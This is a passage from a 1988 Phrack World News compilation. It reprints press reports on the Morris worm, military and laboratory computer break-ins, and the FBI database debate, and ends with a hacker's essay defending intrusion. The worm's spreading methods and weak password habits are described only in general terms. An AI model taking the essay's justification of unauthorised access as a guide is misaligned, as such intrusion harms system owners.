One of the laws ‑ malicious mischief involving government communication lines, stations or systems ‑ appears not to require the government to prove criminal intent, a requirement that lawyers have described as a possible barrier to successful prosecution in the case.

Sessions told a press conference at FBI headquarters that the preliminary phase of the investigation should be completed in two weeks and defended the pace of the inquiry in which Morris, a Cornell University graduate student, has not yet been interviewed. Friends of Morris, age 23, have said he told them that he created the virus.

Sources have said that FBI agents have not sought to question Morris until they obtain the detailed electronic records of the programming he used in setting loose the virus ‑ records that have been maintained under seal at Cornell University.

In addition to the malicious mischief statue, which carries a maximum penalty of 10 years in prison, Sessions listed fraud by wire as one of the laws being considered.

Phrack World News Issue XXII Part 3

==Phrack Inc.==

Volume Two, Issue 22, File 11 of 12

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN P h r a c k W o r l d N e w s PWN

PWN ~~~~~~~~~~~ ~~~~~~~~~ ~~~~~~PWN

PWN Issue XXII/Part 3 PWN

PWN PWN

PWN Created by Knight Lightning PWN

PWN PWN

PWN Written and Edited by PWN PWN Knight Lightning and Taran King PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Computer Break‑In November 11, 1988

~~~~~~~~~~~~~~~~~

>From Intercom, Vol 28, No. 24, Air Force Communications Command Newsletter By Special Agent Mike Forche, AFOSI Computer Crime Investigator

A computer hacker penetrated an Air Force Sperry 1160 computer system in the San Antonio, Texas, area. The hacker was discovered by alert Air Force Communications Command computer operators who notified the data base administrator than an un‑authorized user was in the system. The data base administrator was able to identify the terminal, password, and USERID (system level) used by the hacker.

The data base administrator quickly disabled the USERID/password (which belonged to a computer system monitor). The data base administrator then observed the hacker trying to get into the system using the old USERID/password. He watched as the hacker successfully gained entry into the system using another unauthorized USERID/password (which was also a system administrator level password).

The hacker was an authorized common user in the computer system; however, he obtained system administrator access level to the government computer on both occasions.

Review of the audit trail showed that the hacker had successfully gained unauthorized access to the computer every day during the two weeks the audit was run. In addition, the hacker got unauthorized access to a pay file and instructed the computer floor operator to load a specific magnetic tape (pay tape).

The hacker was investigated by Air Force Office of Special Investigation computer crime investigators for violation of federal crimes (Title 18 US Codes 1030 computer fraud, and 641 wrongful conversion of government property), Texas state crimes (Title 7, Section 33.02 Texas computer crime wrongful access) and military crimes (obtaining services under false pretense, Uniform Code of Military Justice, Article 134).

The computer crime investigators made the following observations:

‑ USERIDs used by the hacker were the same ones he used at his last base when he had authorized system access in his job. The use of acronyms and abbreviations of job titles will hardly fool anyone; plus the use of standard USERID base to base is dangerous.

‑ The passwords the hacker used were the first names of the monitors who owned the USERIDs. The use of names, phone numbers, and other common easily‑guessed items have time and time again been beaten by even the unsophisticated hackers.

Special Thanks To Major Douglas Hardie

________________________________________

"Big Brotherish" FBI Data Base Assailed November, 21, 1988

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

>From Knight‑Ridder Newspapers (Columbia Daily Tribune)

"Professionals Unite To Halt Expansion Of Files"

PALO ALTO, California ‑‑ For the first time in more than a decade, civil libertarians and computer professionals are banding together to stop what many consider a Big Brotherish attempt by the FBI to keep track of people's lives.

Computer Professionals for Social Responsibility, based in Palo Alto, has been instrumental in preventing the FBI from expanding its data base to include information such as credit card transactions, telephone calls, and airline passenger lists.

"We need computer professionals acting like public interest lawyers to make sure the FBI is acting responsibly," said Jerry Berman, chief legislative counsel for the American Civil Liberties Union.

Berman was part of a panel Saturday at Stanford University that went head‑to‑head with the FBI's assistant director for technical services, William Bayse, over expansion of the National Crime Information Center.

Law enforcement officials use the NCIC system's 19.4 million files about 700,000 times a day for routine checks on everyone from traffic violators to Peace Corps applicants.

"The FBI would like us to believe that they are protecting us from the hick Alabama sheriff who wants to misuse the system," said Brian Harvey, a computer expert at the University of California‑Berkeley. "The FBI is the problem."

Not since the fight to pass the Privacy Act of 1974 have computer experts, civil libertarians, and legislators come together on the issue of citizen rights and access to information.

In the early 1970s, the government's efforts to monitor more than 125,000 war protesters sparked concerns about privacy. The 1974 law limited the movement of information exchanged by federal agencies.

But computers were not so sophisticated then, and the privacy act has a number of exceptions for law enforcement agencies, Rotenberg said. No laws curtail the FBI's data base.

Two years ago, the FBI announced its plan to expand the data base and came up with 240 features to include, a sort of "wish list" culled from the kinds of information law enforcement officials who use the system would like to have.

Rep. Don Edwards, D‑Calif., balied at moving ahead with the plan without suggestions from an independent group, and put together a panel that includes members of the Palo Alto computer organization.

Working with Bayse, FBI officials eventually agreed to recommend a truncated redesign of the data base. It drops the most controversial features, such as plans to connect the data base to records of other government agencies including the Securities and Exchange Commission, the IRS, the Immigration and Naturalization Service, the Social Security Administration, and the Department of State's passport office.

But FBI director William Sessions could reject those recommendations and include all or part of the wish list in the redesign.

The 20‑year‑old system has 12 main files containing information on stolen vehicles, missing people, criminal arrests and convictions, people who are suspected of plotting against top‑level government officials, and people for whom arrest warrents have been issued.

________________________________________

Big Guns Take Aim At Virus November 21, 1988

~~~~~~~~~~~~~~~~~~~~~~~~~~

Taken From Government Computer News

In the aftermath of the most recent virus infection of the Defense Data Network and Arpanet, Defense Department and National Institute of Standards and Technology computer security officials are scrambling to head off further attacks.

Officials of the facilities struck by the virus met this month to discuss its nature and impact. The meeting at National Security Agency headquarters in Fort Meade, Md., included representatives of NSA and NIST as 'observers,' according to NIST computer security chief Stuart Katzke.

Two days later, NSA and NIST officials met again to discuss how to avert future infections, Katzke said. Katzke, who attended both meetings, said no decisions had been reached on how to combat viruses, and NSA and NIST representatives will meet again to firm up recommendations.

Katzke, however, suggested one solution would be the formation of a federal center for anti‑virus efforts, operated jointly by NSA's National Computer Security Center (NCSC) and NIST.

The center would include a clearinghouse that would collect and disseminate information about threats, such as flaws in operating systems, and solutions. However, funding and personnel for the center is a problem, he said, because NIST does not have funds for such a facility.

The center also would help organize responses to emergencies by quickly warning users of new threats and defenses against them, he said. People with solutions to a threat could transmit their answers through the center to threatened users, he said. A database of experts would be created to speed response to immediate threats.

The center would develop means of correcting flaws in software, such as trapdoors in operating systems. Vendors would be asked to develop and field solutions, he said.

NIST would work on unclassified systems and the NCSC would work on secure military systems, he said. Information learned about viruses from classified systems might be made available to the public through the clearinghouse, Katzke said, although classified information would have to be removed first.

Although the virus that prompted these meetings did not try to destroy data, it made so many copies of itself that networks rapidly became clogged, greatly slowing down communications. Across the network, computer systems crashed as the virus continuously replicated itself.

During a Pentagon press conference on the virus outbreak, Raymond Colladay, director of the Defense Advanced Research Projects Agency (DARPA), said the virus hit 'several dozen' installations out of 300 on the agency's unclassified Arpanet network.

Thousands Affected

The virus also was found in Milnet, which is the unclassified portion of the Defense Data Network. Estimates of how many computers on the network were struck varied from 6,000 to 250,000. The virus did not affect any classified systems, DOD officials said.

The virus hit DARPA computers in Arlington, Va., and the Lawrence Livermore Laboratories in California as well as many academic institutions, Colladay said. It also affected the Naval Ocean Systems Command in San Diego and the Naval Research Laboratory in Maryland, a Navy spokesman said.

Written in C and aimed at the UNIX operating system running on Digital Equipment Corp. VAX and Sun Microsystems Inc. computers, the virus was released November 2, 1988 into Arpanet through a computer at the Massachusetts Institute of Technology in Cambridge, Mass.

The Virus apparently was intended to demonstrate the threat to networked systems. Published reports said the virus was developed and introduced by a postgraduate student at Cornell University who specializes in computer security. The FBI has interviewed the student.

Clifford Stoll, a computer security expert at Harvard University who helped identify and neutralize the virus, said the virus was about 40 kilobytes long and took 'several weeks' to write. It replicated itself in three ways.

Spreading the Virus

The first method exploited a little‑known trapdoor in the Sendmail electronic‑mail routine of Berkeley UNIX 4.3, Stoll said. The trapdoor was created by a programmer who wanted to remove some bugs, various reports said. However, the programmer forgot to remove the trapdoor in the final production version. In exploiting this routine, the virus tricked the Sendmail program into distributing numerous copies of the virus across the network.

Another method used by the virus was an assembly language program that found user names and then tried simple variations to crack poorly conceived passwords and break into more computers, Stoll said.

Yet another replication and transmission method used a widely known bug in the Arpanet Finger program, which lets users know the last time a distant user has signed onto a network. By sending a lengthy Finger signal, the virus gained access to the operating systems of Arpanet hosts.

The virus was revealed because its creator underestimated how fast the virus would attempt to copy itself. Computers quickly became clogged as the virus rapidly copied itself, although it succeeded only once in every 10 copy attempts.

Users across the country developed patches to block the virus' entrance as soon as copies were isolated and analyzed. Many users also used Arpanet to disseminate the countermeasures, although transmission was slowed by the numerous virus copies in the system.

DARPA officials 'knew precisely what the problem was,' Colladay said. 'Therefore, we knew precisely what the fix was. As soon as we had put that fix in place, we could get back online.'

Colladay said DARPA will revise security policy on the network and will decide whether more security features should be added. The agency began a study of the virus threat two days after the virus was released, he said.

All observers said the Arpanet virus helped raise awareness of the general virus threat. Several experts said it would help promote computer security efforts. 'Anytime you have an event like this it heightens awareness and sensitivity,' Colladay said.

However, Katzke cautioned that viruses are less of a threat than are access abusers and poor management practices such as inadequate disaster protection or password control. Excellent technical anti‑virus defenses are of no use if management does not maintain proper control of the system, he said.

Congress also is expected to respond to the virus outbreak. The Computer Virus Eradication Act of 1988, which lapsed when Congress recessed in October, will be reintroduced by Rep. Wally Herger (R‑Calif.), according to Doug Griggs, who is on Herger's staff.

________________________________________

Congressmen Plan Hearings On Virus November 27, 1988

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

>From The Seattle Times (Newhouse News Services)

WASHINGTON ‑ The computer virus that raced through a Pentagon data network earlier this month is drawing the scrutiny of two congressional committee chairmen who say they plan hearings on the issue during the 101st Congress.

Democratic Reps. Robert Roe, chairman of the House Science Space and Technology Committee, and William Hughes, chairman of the crime subcommittee of the House Judiciary Committee, say they want to know more about the self‑replicating program that invaded thousands of computer systems.

The two chairmen, both from New Jersey, say the are concerned about how existing federal law applies to the November 2, 1988 incident in which a 23‑year‑old computer prodigy created a program that jammed thousands of computers at universities, research centers, and the Pentagon.

Roe said his committee also will be looking at ways to protect vital federal computers from similar viruses.

"As we move forward and more and more of our national security is dependent on computer systems, we have to think more about the security and safety of those systems," Roe said.

Hughes, author of the nation's most far‑reaching computer crime law, said his 1986 measure is applicable in the latest case. He said the law, which carries criminal penalties for illegally accessing and damaging "federal interest" computers, includes language that would cover computer viruses.

"There is no question but that the legislation we passed in 1986 covers the computer virus episodes,' Hughes said. Hughes noted that the law also includes a section creating a misdemeanor offense for illegally entering a government‑interest computer. The network invaded by the virus, which included Pentagon research computers, would certainly meet the definition of a government‑interest computer, he said.

"The 1986 bill attempted to anticipate a whole range of criminal activity that could involve computers," he said.

________________________________________

Pentagon Severs Military Computer From Network Jammed By Virus Nov. 30, 1988

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By John Markoff (New York Times)

NEW YORK ‑ The Pentagon said on Wednesday that it had temporarily severed the connections between a nonclassifed military computer network and the nationwide academic research and corporate computer network that was jammed last month by a computer virus program.

Department of Defense officials said technical difficulties led to the move. But several computer security experts said they had been told by Pentagon officials that the decision to cut off the network was made after an unknown intruder illegally gained entry recently to several computers operated by the military and defense contractors.

Computer specialists said they thought that the Pentagon had broken the connections while they tried to eliminate a security flaw in the computers in the military network.

The Department of Defense apparently acted after a computer at the Mitre Corporation, a Bedford, Mass., company with several military contracts, was illegally entered several times during the past month. Officials at several universities in the United States and Canada said their computers had been used by the intruder to reach the Mitre computer.

A spokeswoman for Mitre confirmed Wednesday that one of its computers had been entered, but said no classified or sensitive information had been handled by the computers involved. "The problem was detected and fixed within hours with no adverse consequences," Marcia Cohen said.

The military computer network, known as Milnet, connects hundreds of computers run by the military and businesses around the country and is linked through seven gateways to another larger computer network, Arpanet. It was Arpanet that was jammed last month when Robert T. Morris, a Cornell University graduate student, introduced a rogue program that jammed computers on the network.

In a brief statement, a spokesman at the Defense Communication Agency said the ties between Milnet and Arpanet, known as mail bridges, were severed at 10 p.m. Monday and that the connections were expected to be restored by Thursday.

"The Defense Communications Agency is taking advantage of the loop back to determine what the effects of disabling the mail bridges are," the statement said. "The Network Information Center is collecting user statements and forwarding them to the Milnet manager."

Several computer security experts said they had been told that the network connection, which permits military and academic researchers to exchange information, had been cut in response to the intruder. "We tried to find out what was wrong (Tuesday night) after one of our users complained that he could not send mail," said John Rochlis, assistant network manager at the Massachusetts Institute of Technology. "Inititally we were given the run around, but eventually they unofficially confirmed to us that the shut‑off was security related."

Clifford Stoll, a computer security expert at Harvard University, posted an electronic announcement on Arpanet Wednesday that Milnet was apparently disconnected as a result of someone breaking into several computers.

Several university officials said the intruder had shielded his location by routing telephone calls from his computer through several networks.

A manager at the Mathematics Faculty Computer Facility at the University of Waterloo in Canada said officials there learned that one of their computers had been illegally entered after receiving a call from Mitre.

He said the attacker had reached the Waterloo computer from several computers, including machines located at MIT, Stanford, the University of Washington and the University of North Carolina. He said that the attacks began on November 3, 1988 and that some calls had been routed from England.

A spokeswoman for the Defense Communications Agency said that she had no information about the break‑in.

Stoll said the intruder used a well‑known computer security flaw to illegally enter the Milnet computers. The flaws are similar to those used by Morris' rogue program.

It involves a utility program called "file transfer protocol (FTP" that is intended as a convenience to permit remote users to transfer data files and programs over the network. The flaw is found in computers that run the Unix operating system.

The decision to disconnect the military computers upset a number of computer users around the country. Academic computer security experts suggested that the military may have used the wrong tactic to attempt to stop the illegal use of its machines.

"There is a fair amount of grumbling going on," said Donald Alvarez, an MIT astrophysicist. "People think that this is an unreasonable approach to be taking."

He said that the shutting of the mail gateways did not cause the disastrous computer shutdown that was created when the rogue program last month stalled as many as 6,000 machines around the country.

[The hacker suspected of breaking into MIT is none other than Shatter. He speaks out about the hacker community in PWN XXII/4. ‑KL]

________________________________________

MCI's New Fax Network December 1988

~~~~~~~~~~~~~~~~~~~~~

>From Teleconnect Magazine

MCI introduced America's first dedicated fax network. It's available now. The circuit‑switched network, called MCI FAX, takes a slice of MCI's existing bandwidth and configures it with software to handle only fax transmissions. Customers ‑ even MCI customers ‑ have to sign up separately for the service, though there's currently no fee to join.

Users must dedicate a standard local phone line (e.g. 1MB) to each fax machine they want on the MCI network (the network doesn't handle voice) and in return get guaranteed 9600 baud transmission, and features like management reports, customized dialing plans, toll‑free fax, cast fax, several security features, delivery confirmation and a separate credit card.

The system does some protocol conversion, fax messages to PCs, to telex machines or from a PC via MCI Mail to fax. The service is compatible with any make or model of Group III and below fax machine and will be sold, under a new arrangement for MCI, through both a direct sales force and equipment manufacturers, distributors and retailers. For more info 1‑800‑950‑4FAX. MCI wouldn't release pricing, but it said it would be cheaper.

________________________________________

Military Bans Data Intruder December 2, 1988

~~~~~~~~~~~~~~~~~~~~~~~~~~~

Compiled From News Services

NEW YORK ‑‑ The Pentagon has cut the connections between a military computer network (MILNET) and an academic research network (ARPANET) that was jammed last month by a "computer virus."

The Defense Department acted, not because of the virus, but rather because an unknown intruder had illegally gained entry to several computers operated by the armed forces and by defense contractors, several computer security experts said.

The Defense Department apparently acted after a computer at the Mitre Corporation of Bedford, Mass., a company with several military contracts, was illegally entered several times in the past month.

Officials at several universities in the United States and Canada said their computers had been used by the intruder to reach the Mitre computer.

A spokeswoman for Mitre confirmed Wednesday that one of its computers had been entered, but said no classified or sensitive information had been handled by the computers involved.

"The problem was detected and fixed within hours, with no adverse consequences," Marcia Cohen, the spokeswoman said.

The military computer network, known as Milnet, connects hundreds of computers run by the armed forces and businesses around the country and is linked through seven gateways to another larger computer network, Arpanet. Arpanet is the network that was jammed last month by Robert T. Morris, a Cornell University graduate student.

Phrack World News Issue XXII Part 4

==Phrack Inc.==

Volume Two, Issue 22, File 12 of 12

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN P h r a c k W o r l d N e w s PWN

PWN ~~~~~~~~~~~ ~~~~~~~~~ ~~~~~~PWN

PWN Issue XXII/Part 4 PWN

PWN PWN

PWN Created by Knight Lightning PWN

PWN PWN

PWN Written and Edited by PWN PWN Knight Lightning and Taran King PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Networks Of Computers At Risk From Invaders December 3, 1988

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By John Markoff (New York Times)

Basic security flaws similar to the ones that let intruders gain illegal entry to military computer networks in recent weeks are far more common than is generally believed, system designers and researchers say.

And there is widespread concern that computer networks used for everyday activities like making airline reservations and controlling the telephone system are highly vulnerable to attacks by invaders considerably less skilled than the graduate student whose rogue program jammed a nationwide computer network last month.

For example, the air traffic control system could be crippled if someone deliberately put wrong instructions into the network, effectively blinding controllers guiding airplanes.

The two recent episodes have involved military computers: One at the Mitre Corporation, a company with Pentagon contracts, and the other into Arpanet, a Defense Department network with links to colleges. But illegal access to computer systems can compromise the privacy of millions of people.

In 1984, TRW Inc. acknowledged that a password providing access to 90 million credit histories in its files had been stolen and posted on a computerized bulletin board system. The company said the password may have been used for as long as a month.

This year an internal memorandum at Pacific Bell disclosed that sophisticated invaders had illegally gained access to telephone network switching equipment to enter private company computers and monitor telephone conversations.

Computer security flaws have also been exploited to destroy data. In March 1986 a computer burglar gained access by telephone to the office computer of Rep. Ed Zschau of California, destroyed files and caused the computer to break down. Four days later, staff workers for Rep. John McCain of Arizona, now a senator, told the police they had discovered that someone outside their office had reached into McCain's computer and destroyed hundreds of letters and mailing addresses.

In Australia last year, a skilled saboteur attacked dozens of computers by destroying an underground communication switch. The attack cut off thousands of telephone lines and rendered dozens of computers, including those at the country's largest banks, useless for an entire day.

Experts say the vulnerability of commercial computers is often compounded by fundamental design flaws that are ignored until they are exposed in a glaring incident. "Some vulnerabilities exist in every system," said Peter Neumann, a computer scientist at SRI International in Menlo Park, California. "In the past, the vendors have not really wanted to recognize this."

Design flaws are becoming increasingly important because of the rapidly changing nature of computer communications. Most computers were once isolated from one another. But in the last decade networks expanded dramatically, letting computers exchange information and making virtually all large commercial systems accessible from remote places. But computer designers seeking to shore up security flaws face a troubling paradox: By openly discussing the flaws, they potentially make vulnerabilities more known and thus open to sabotage.

Dr. Fred Cohen, a computer scientist at the University of Cincinnati, said most computer networks were dangerously vulnerable. "The basic problem is that we haven't been doing networks long enough to know how to implement protection," Cohen said.

The recent rogue program was written by Robert Tappan Morris, a 23‑year‑old Cornell University graduate student in computer science, friends of his have said. The program appears to have been designed to copy itself harmlessly from computer to computer in a Department of Defense network, the Arpanet. Instead a design error caused it to replicate madly out of control, ultimately jamming more than 6,000 computers in this country's most serious computer virus attack.

For the computer industry, the Arpanet incident has revealed how security flaws have generally been ignored. Cohen said most networks, in effect, made computers vulnerable by placing entry passwords and other secret information inside every machine. In addition, most information passing through networks is not secretly coded. While such encryption would solve much of the vulnerability problem, it would be costly. It would also slow communication between computers and generally make networks much less flexible and convenient.

Encryption of data is the backbone of security in computers used by military and intelligence agencies. The Arpanet network, which links computers at colleges, corporate research centers and military bases, is not encrypted.

The lack of security for such information underscored the fact that until now there has been little concern about protecting data.

Most commercial systems give the people who run them broad power over all parts of the operation. If an illicit user obtains the privileges held by a system manager, all information in the system becomes accessible to tampering.

The federal government is pushing for a new class of military and intelligence computer in which all information would be divided so that access to one area did not easily grant access to others, even if security was breached. The goal is to have these compartmentalized security systems in place by 1992.

On the other hand, one of the most powerful features of modern computers is that they permit many users to share information easily; this is lost when security is added.

In 1985 the Defense Department designed standards for secure computer systems, embodied in the Orange Book, a volume that defines criteria for different levels of computer security. The National Computer Security Center, a division of the National Security Agency, is now charged with determining if government computer systems meet these standards.

But academic and private computer systems are not required to meet these standards, and there is no federal plan to urge them on the private sector. But computer manufacturers who want to sell their machines to the government for military or intelligence use must now design them to meet the Pentagon standards.

Security weaknesses can also be introduced inadvertently by changes in the complex programs that control computers, which was the way Morris's program entered computers in the Arpanet. These security weaknesses can also be secretly left in by programmers for their convenience.

One of the most difficult aspects of maintaining adequate computer security comes in updating programs that might be running at thousands of places around the world once flaws are found.

Even after corrective instructions are distributed, many computer sites often do not close the loopholes, because the right administrator did not receive the new instructions or realize their importance.

________________________________________

Computer Virus Eradication Act of 1988 December 5, 1988

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The following is a copy of HR‑5061, a new bill being introduced in the House by Wally Herger (R‑CA) and Robert Carr (D‑Mich.).

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

100th Congress 2D Session H.R. 5061

To amend title 18, United States Code, to provide penalties for persons interfering with the operations of computers through the use of programs containing hidden commands that can cause harm, and for other purposes.

IN THE HOUSE OF REPRESENTATIVES July 14, 1988

Mr. Herger (for himself and Mr. Carr) introduced the following bill; which was referred to the Committee on the Judiciary

A BILL

To ammend title 18, United States Code, to provide penalties for persons interfering with the operations of computers through the use of programs containing hidden commands that can cause harm, and for other purposes.

‑ ‑

Be it enacted by the Senate and House of Representatives of the United States of America in Congress assembled,

SECTION 1. SHORT TITLE.

This Act may be cited as the "Computer Virus Eradication Act of 1988".

SECTION 2. TITLE 18 AMENDMENT.

(A) IN GENERAL.‑ Chapter 65 (relating to malicious mischief) of title 18, United States Code, is amended by adding at the end the following:

S 1368. Disseminating computer viruses and other harmful computer programs

(a) Whoever knowingly ‑‑

(1) inserts into a program for a computer information or commands, knowing or having reason to believe that such information or commands will cause loss to users of a computer on which such program is run or to those who rely on information processed on such computer; and

(2) provides such a program to others in circumstances in which those others do not know of the insertion or its effects; or attempts to do so, shall if any such conduct affects interstate or foreign commerce, be fined under this title or imprisoned not more than 10 years, or both. (b) Whoever suffers loss by reason of a violation of subsection (a) may, in a civil action against the violator, obtain appropriate relief. In a civil action under this section, the court may award to the prevailing party a reasonable attorney's fee and other litigation expenses.

(B) CLERICAL AMENDMENT.‑ The table of sections at the begining of chapter 65 of title 18, United States Code, is amended by adding at the end the following:

S 1368. Disseminating computer viruses and other harmful computer programs.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

NOTE: The above text was typed in by hand from a printed copy of HR5 061. There is a possibility that there may be typographical errors which could affect the nature of the bill.

For an official copy of the bill, please contact:

Mr. Doug Riggs

1108 Longworth Bldg

Washington D.C. 20515

Information Presented by Don Alvarez of the MIT Center For Space Research

________________________________________

Virus Conference In Arlington, Virginia December 5, 1988

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Entitled "Preventing and Containing Computer Virus Attacks", it takes place January 30‑31, in Arlington, VA. Speakers include Representative Wally Herger (R‑CA), a special agent from the FBI, John Landry (ADAPSO virus committee chairman), Patricia Sission from NASA, as well as a collection of attorneys and business folk. The conference is chaired by Dave Douglass, no information provided. It supposedly costs $695.

The address provided is:

United Communications Group 4550 Montgomery Avenue Suite 700N Bethesda, MD 20814‑3382

Information Provided By Gregg Tehennepe

________________________________________

New York Times Reviews Novel About Computer Sabotage December 7, 1988

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The Sunday, December 4, 1988 issue of the New York Times Book Review (their Christmas Books issue) prominently reviews a new novel, 'Trapdoor,' by Bernard J. O'Keefe. The premise (from the review by Newgate Callender, NYT's crime fiction reviewer):

"A brilliant American woman of Lebanese descent has developed the computer code that controls the operation of all our nuclear devices. Turned down for the job she has sought, convinced male chauvinism is the reason, she is ripe to be conned by a Lebanese activist. At his suggestion she inserts a virus into the computer system that in a short time will render the entire American nuclear arsenal useless. ... The Lebanese President ... demands that Israel withdraw from the West Bank, or else he will tell the Russians that the United States will lie helpless for a week or so."

Callender's review begins with the lead sentence, "November 2, 1988, was the day computers in American went mad, thanks to the 'virus' program inserted by the now‑famous, fun‑loving Robert T. Morris, Jr."

Some background on the author, also from the review:

"Bernard J. O'Keefe (is) chairman of the high‑tech company EG&G and of an international task force on nuclear terrorism ... (and is) the author of a nonfiction book called 'Nuclear Hostages.' O'Keefe says, "I wrote this parable to point out the complexity of modern technology and to demonstrate how one error, one misjudgment, or one act of sabotage could lead to actions that would annihilate civilization.""

Callender also says "...the execution is less brilliant than the idea. The book has the usual flashbacks, the usual stereotyped characters, the usual stiff dialogue."

Although the reviewer doesn't say so, the premise of this novel is quite similar to a 1985 French thriller, published in the U.S. as 'Softwar.' That novel was also based on the idea that a nation's arsenal could be completely disabled from a single point of sabotage, although in 'Softwar' it was the Soviet Union on the receiving end. Popular reviewers of both books apparently find nothing implausible in the premise.

________________________________________

Hacker Enters U.S. Lab's Computers December 10, 1988

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Thomas H. Maugh II (Los Angeles Times Service)

A computer hacker has entered computers at the government's Lawrence Livermore Laboratory in the San Francisco Bay area eight times since last Saturday, but has not caused any damage and has not been able to enter computers that contain classified information, Livermore officials said Friday. [Do they ever admit to anyone gaining access to classified data? ‑KL]

Nuclear weapons and the Star Wars defense system are designed at Livermore, but information about those projects is kept in supercomputers that are physically and electronically separate from other computers at the laboratory.

The hacker, whose identitiy remains unknown, entered the non‑classified computer system at Livermore through Internet, a nationwide computer network that was shut down at the beginning of November by a computer virus. Chuck Cole, Livermore's chief of security, said the two incidents apparently are unrelated.

The hacker entered the computers through an operating system and then through a conventional telephone line, he gave himself "super‑user" status, providing access to virtually all functions of the non‑classified computer systems.

Officials quickly limited the super‑user access, although they left some computers vulnerable to entry in the hope of catching the intruder.

"There has been no maliciousness so far," Cole said. "He could have destroyed data, but he didn't. He just looks through data files, operating records, and password files...It seems to be someone doing a joy‑riding thing."

________________________________________

Shattering Revelations December 11, 1988

~~~~~~~~~~~~~~~~~~~~~~

Taken from the RISKS Digest (Edited for this presentation)

[Shatter is a hacker based in England, he is currently accused of breaking into computers at Massachusetts Institute of Technology. ‑KL]

(In this article, "IT" seems to refer to the computer community as a whole ‑KL)

Some of you may have already heard of me via articles in the Wall Street Journal, New York Times, etc, but for those of you who do not have access to copies of these newspapers I am a hacker of over 10 years activity who is based near Nottingham, England [Rumored to be a false statement]. My specialities are the various packet switched networks around the world such as PSS, Telepac, Transpac, etc with various forays into UNIX, NOS/VE VMS, VM/SP, CMS, etc.

I feel that as a hacker with so much activity and expirience I am qualified to make the following points on behalf of the whole hacking community.

Hackers are not the vandals and common criminals you all think we are in fact most of the "TRUE" hackers around have a genuine respect and love for all forms of computers and the data that they contain. We are as a community very responsible and dedicated to the whole idea of IT, but we also have a strong dislike to the abuse of IT that is perpetrated by various governments and organizations either directly or indirectly. There is of course a small minority of so called hackers who do cause trouble and crash systems or steal money, but these people on the whole are dealt with by other hackers in a way that most of you could not even think of and most never repeat their "crimes" again.

The term "HACKER" is still one to be very proud of and I am sure that in days past, anyone with a computer was called a hacker and they were very proud of the fact that someone felt that you had a great technical expertise that warrented the use of the term. However, all of the accusers out there now suffer from the standard problem that nearly all people involved within IT have and that is non‑communication. You never pass on the information that you pick up and teach to others within IT [American Government organizations and Educational Institutes are among the greatest offenders] and this allows the hacking community [who do communicate] to be at least one step ahead of the system administrators when it comes to finding security problems and finding the cause and solution for the problem.

A case in point is the recent Arpanet Worm and the FTP bug. Both these problems have been known for many months if not years but, when talking to various system administrators recently, not one of them had been informed about them and this left their systems wide open even though they had done all they could to secure them with the information they had.

An interesting piece of information is that hackers in England knew about Morris's Worm at least 12 hours before it became public knowledge and although England was not able to be infected due to the hardware in use, we were able to inform the relevent people and patrol Internet to Janet gateways to look for any occurance of the Worm and therefore we performed a valuble service to the computing community in England ‑‑ although we did not get any thanks or acknowledgement for this service.

Hackers should be nurtured and helped to perform what they consider a hobby. Some people may do crosswords for intelectual challenge ‑‑ I study computers and learn about how things interact together to function correctly (or incorrectly as the case may be). The use of a group of hackers can perform a valuable service and find problems that most of you could not even start to think of or would even have the inclination to look for.

So please don't treat us like lepers and paupers. Find yourself a "TAME" hacker and show him the respect he deserves. He will perform a valuble service for you. Above all COMMUNICATE with each other don't keep information to yourselves.

Bst Rgrds

Shatter

________________________________________

IBM Sells Rolm To Siemens AG December 14, 1988

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

International Business Machines Corp. (IBM) announced on Tuesday that it was selling its Rolm telephone equipment subsidiary to West Germany's Siemens AG.

Rolm has lost several hundred million dollars since IBM bought it in 1984 for $1.5 billion. Rolm was the first, or one of the first companies to market digital PBX systems.

As most telecom hobbyists already know, the PBX market has been very soft for years. It has suffered from little or no growth and very bitter price competition.

Siemens, a leading PBX supplier in Europe wants to bolster its sales in the United States, and believes it can do so by aquiring Rolm's sales and service operations. Quite obviously, it will also gain access to some of the lucrative IBM customers in Europe.

Rolm was an early leader in digital PBX's, but they were surpassed in 1984 by AT&T and Northern Telecom Ltd. of Canada. Part of the strategy behind IBM's purchase of Rolm was IBM's belief that small personal computers would be linked through digital PBX's. Although this has happened, most businesses seem to prefer ethernet arrangements; something neither IBM or Rolm had given much thought to. IBM was certain the late 1980's would see office computers everywhere hooked up through PBX's.

IBM made a mistake, and at a recent press conference they admitted it and announced that Rolm was going bye‑bye, as part of the corporate restructuring which has seen IBM divest itself of numerous non‑computer related businesses in the past several months. From its beginning until 1984, Rolm could not run itself very well; now IBM has washed its corporate hands. Time will tell how much luck the Europeans have with it.

Information Contributed by Patrick Townson

________________________________________

Virus Invades The Soviet Union December 19, 1988

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

>From The San Francisco Chronicle (P. A16)

(UPI) ‑ The Soviet Union announced on Decemeber 18, 1988 that that so‑called computer viruses have invaded systems in at least five government‑run institutions since August, but Soviet scientists say they have developed a way to detect known viruses and prevent serious damage.

In August 1988, a virus infected 80 computers at the Soviet Academy of Sciences before it was brought under control 18 hours later. It was traced to a group of Soviet and foreign schoolchildren attending the Institute's summer computer studies program, apparently resulting from the copying of game programs.

